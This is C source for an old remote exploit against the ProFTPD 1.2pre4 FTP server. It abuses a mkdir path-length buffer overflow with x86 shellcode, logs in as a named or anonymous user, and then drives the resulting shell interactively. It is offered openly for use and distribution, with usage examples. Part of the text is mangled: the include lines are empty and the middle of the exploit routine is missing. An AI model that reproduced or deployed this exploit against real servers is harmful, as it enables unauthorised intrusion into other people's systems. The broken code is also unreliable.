/* ProFTPD 1.2pre4 Remote Buffer Overflow Xploit by wildcoyote@coders-pt.org Advisorie (from www.securityfocus.com): The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c. The vulnerability in -> 1.2pre4 <- is a mkdir overflow. The name of the created path can not exceed 255 chars. -> UNRELEASED! DISTRIBUTE! <- :] heh I'm almost sure that no1 coded a exploit against this version of ProFtpd/using the same buffer overflow. */ #include #include #include #include #include #include #include #include #include #include #define DELAY 2 // wait 2 secondz before sending each command :] #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 255 #define RETURN_ADDRESS 0xbffff550 #define NOP 0x90 char shellcode[] = "\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80" "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0" "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed\xcd\x80\x31\xc0\x8d\x5e\x05\xb0" "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1\xd0\xff\xf7\xdb\x31\xc9\xb1\x10" "\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10" "\xcd\x80\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xac\xff\xff\xff"; int openhost(char *host,int port) { int sock; struct sockaddr_in addr; struct hostent *he; he=gethostbyname(host); if (he==NULL) return -1; sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (sock==-1) return -1; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock==-1; return sock; } void sends(int sock,char *buf) { write(sock,buf,strlen(buf)); } void own3dshell(int sock) { char buf[1024]; fd_set rset; int i; while (1) { FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(sock,&rset)) { i=read(sock,buf,1024); if (i <= 0) { printf("The connection was closed!\n"); printf("Exiting...\n\n"); exit(0); } buf[i]=0; puts(buf); } if (FD_ISSET(STDIN_FILENO,&rset)) { i=read(STDIN_FILENO,buf,1024); if (i>0) { buf[i]=0; write(sock,buf,i); } } } } void own(char *username, char *password, char *writable_dir, char *host, int port, int offset) { char buf[512], *buf_ptr, *ptr; long *addr_ptr, addr; int bsize=DEFAULT_BUFFER_SIZE+100, sock, i; printf("Trying to connect to %s [%d]...",host,port); sock=openhost(host,port); if (sock==-1) { printf("FAILED\n"); printf("Exiting...\n\n"); exit(-1); } printf("SUCCESSFULL\n"); printf("Sending username (%s)...",username); snprintf(buf,sizeof(buf),"USER %s\n",username); sends(sock,buf); printf("DONE\n"); bzero(buf,strlen(buf)); sleep(DELAY); printf("Sending password ("); for(i=0;i [port] [offset]\n",argv[0]); printf("Example:\n\n"); printf(" -> If you have a account on the box <-\n"); printf(" %s wildcoyote my_pass /tmp biatx.userfriendly\n",argv[0]); printf(" -> Anonymous access on tha box <-\n"); printf(" %s anonymous whatever@ /incoming 192.168.0.2\n\n",argv[0]); printf("If thiz doesn't bind tha own3d'shell, try a offset between 0-3\n"); printf("Regardz, wildcoyote@coders-pt.org\n\n"); } else if (argc==5) own(argv[1],argv[2],argv[3],argv[4],21,DEFAULT_OFFSET); else if (argc==6) own(argv[1],argv[2],argv[3],argv[4],atoi(argv[5]),DEFAULT_OFFSET); else own(argv[1],argv[2],argv[3],argv[4],atoi(argv[5]),atoi(argv[6])); } /* www.hack.co.za [3 July 2000]*/